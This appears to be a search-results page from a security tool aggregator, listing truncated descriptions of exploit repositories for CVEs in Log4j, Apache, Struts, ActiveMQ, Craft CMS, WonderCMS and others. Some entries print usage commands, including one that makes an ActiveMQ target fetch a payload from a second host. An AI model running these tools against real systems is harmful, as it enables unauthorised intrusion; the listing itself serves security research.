626843 matches found
log4j-CVE-2021-4104
HEAD Log4jShell1.x Log4j RCE 1.x Poc Attack Restriction 1. The target has jms environment 2. You need to gain access to modify the log4j.properties file Conclusion Not as useful as log4shell 2.x Log4shell Topic https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j Welcome to contribute in...
CVE-2023-41425
WonderCMS バージョン v3.2.0 から v3.4.2 向けの RCE XSS 脆弱性を抱える WonderCMS バージョン v3.2.0 から v3.4.2 では、悪意のある攻撃者が installModule CVE-2023-41425 にコンポーネントをアップロードすることで RCE を達成できます（パスワードを知る必要はありません）。 特徴: CVE-2023-41425 の自動悪用 zip のダウンロード元となるリモートホストを簡単に指定可能 使用方法/例 main.zip ファイルのダウンロード元となるリモートホストを指定する場合 root@kitploit:...
CVE-2023-36165
CVE-2023-36165 An issue in MiniTool Partition Wizard ShadowMaker v.12.7 allows an attacker to execute arbitrary code and gain privileges via the SchedulerService.exe component. Exploit Title: MiniTool Partition Wizard ShadowMaker v.12.7 - Unquoted Service Path Date: 05/08/2023 Exploit Author: Ida...
CVE-2024-37759_PoC
CVE-2024-37759 PoC Description DataGear version 5.0.0 and earlier has a SpEL expression injection vulnerability that leads to remote code execution. Exploit CVE Exploit Details When you request the /data/schemaId/tableName/view interface, if the database table does not have a primary key, an...
tplmap
Tplmap This project is no longer maintained. I'm happy to merge new PRs as long they don't break the test suite. Tplmap assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operatin...
CVE-2021-40444
Fully Weaponized CVE-2021-40444 Malicious docx generator to exploit CVE-2021-40444 Microsoft Office Word Remote Code Execution, works with arbitrary DLL files. Update 31/05/2022 - CVE-2022-30190 - Follina Now the generator is able to generate the document required to exploit also the "Follina"...
CVE-2026-23010-CCSDS-Telecommand-Replay-Without-Sequence-Number
CVE-2026-23010 – CCSDS Telecommand Replay Without Sequence Number Program Code Python satellite sim root@kitploit: satellitesim.py - Spacecraft that executes telecommands without checking sequence number class Satellite: def initself: self.executed = set def receivetcself, cmdid, seqnum:...
CVE-2020-28502
CVE-2020-28502 node-XMLHttpRequest RCE NVD Description This affects the package xmlhttprequest before 1.7.0; all versions of package xmlhttprequest-ssl. Provided requests are sent synchronously async=False on xhr.open, malicious user input flowing into xhr.send could result in arbitrary code bein...
CVE-2021-42013-EXPLOIT
🚨 CVE-2021-42013 - Apache 2.4.49 & 2.4.50 Remote Code Execution 🚨 CVE-2021-42013 builds upon the previously identified vulnerability, CVE-2021-41773. Despite the Apache team's efforts to address CVE-2021-41773 in version 2.4.50, subsequent investigations revealed that the fix fell short of fully...
CVE-2026-29598
CVE-2026-29598: Stored Cross-Site Scripting XSS in cm3 Acora CMS version 10.7.1. DDSN Interactive cm3 Acora CMS version 10.7.1 contains a Stored Cross-Site Scripting XSS vulnerability in the user management functionality. An administrator with the ability to add or edit user details can...
CVE-2024-38063
CVE-2024-38063 Windows Vulnerability that allows the implementation of unauthorised activity over the network: remote execution of Windows TCP/IP remote code. Two virtual machines - a victim and an attacker - are ready to simulate the attack. On the victim machine, a tool for capturing network...
CVE-2023-46604-Apache-ActiveMQ-RCE-exp
Project Reference This project is a python version of the exp rewritten based on the exp from the https://github.com/X1r0z/ActiveMQ-RCE project. Usage root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 The -p parameter defaults to the default port ...
dRMM-CVE-2020-1350-response
Overview Microsoft announced CVE-2020-1350 on July 14 2020. This vulnerability in Windows DNS server goes back to Server 2003 and is broadly thought to be wormable. This script follows the intructions from KB456509...
CVE-2023-32560
CVE-2023-32560 Ivanti Avalanche v6.4.0.0 RCE POC Reference: https://www.tenable.com/security/research/tra-2023-27...
struts-pwn_CVE-2017-9805
struts-pwn - CVE-2017-9805 Exploit An exploit for Apache Struts CVE-2017-9805 Usage Check if the vulnerability exists against a single URL. python struts-pwn.py --url 'http://example.com/struts2-rest-showcase/orders/3' Check if the vulnerability exists against a list of URLs. python struts-pwn.py...
Craft-CMS-Exploit
This python script exploits the Remote Code Execution vulnerability CVE-2023-41892 of the Craft CMS, which is a popular content management system. Versions between 4.0.0-RC1 - 4.4.14 are affected by this vulnerability allowing attackers to execute arbitrary code remotely, like a PHP reverse shell...
CVE-2023-22527
私はいかなる違法な攻撃に対しても責任を負いません CVE-2023-22527 一括スキャンスクリプト ヘルプ root@kitploit: usage: python3 CVE-2023-22527.py -u -f -c options: -h, --help show this help message and exit -u TARGET, --target TARGET Target URL -f FILE, --file FILE URL file -c CMD, --cmd CMD Commands to execute -t THREAD, --thread THREAD...
CVE-2024-32002-Reverse-Shell
CVE-2024-32002-Reverse-Shell Este script demuestra cómo explotar la vulnerabilidad CVE-2024-32002 para obtener una reverse shell, proporcionando acceso remoto al sistema afectado. Úselo con precaución en entornos controlados y solo con fines educativos o de pruebas de seguridad. Publicación del...
tenda-hg10-rce
CVE-2026-1689 Summary A command injection vulnerability exists in the Tenda HG10 router. It occurs in the formLogin endpoint due to improper handling of the Host parameter. No authentication credentials are verified as this executes before the check. User input from the Host header is directly...
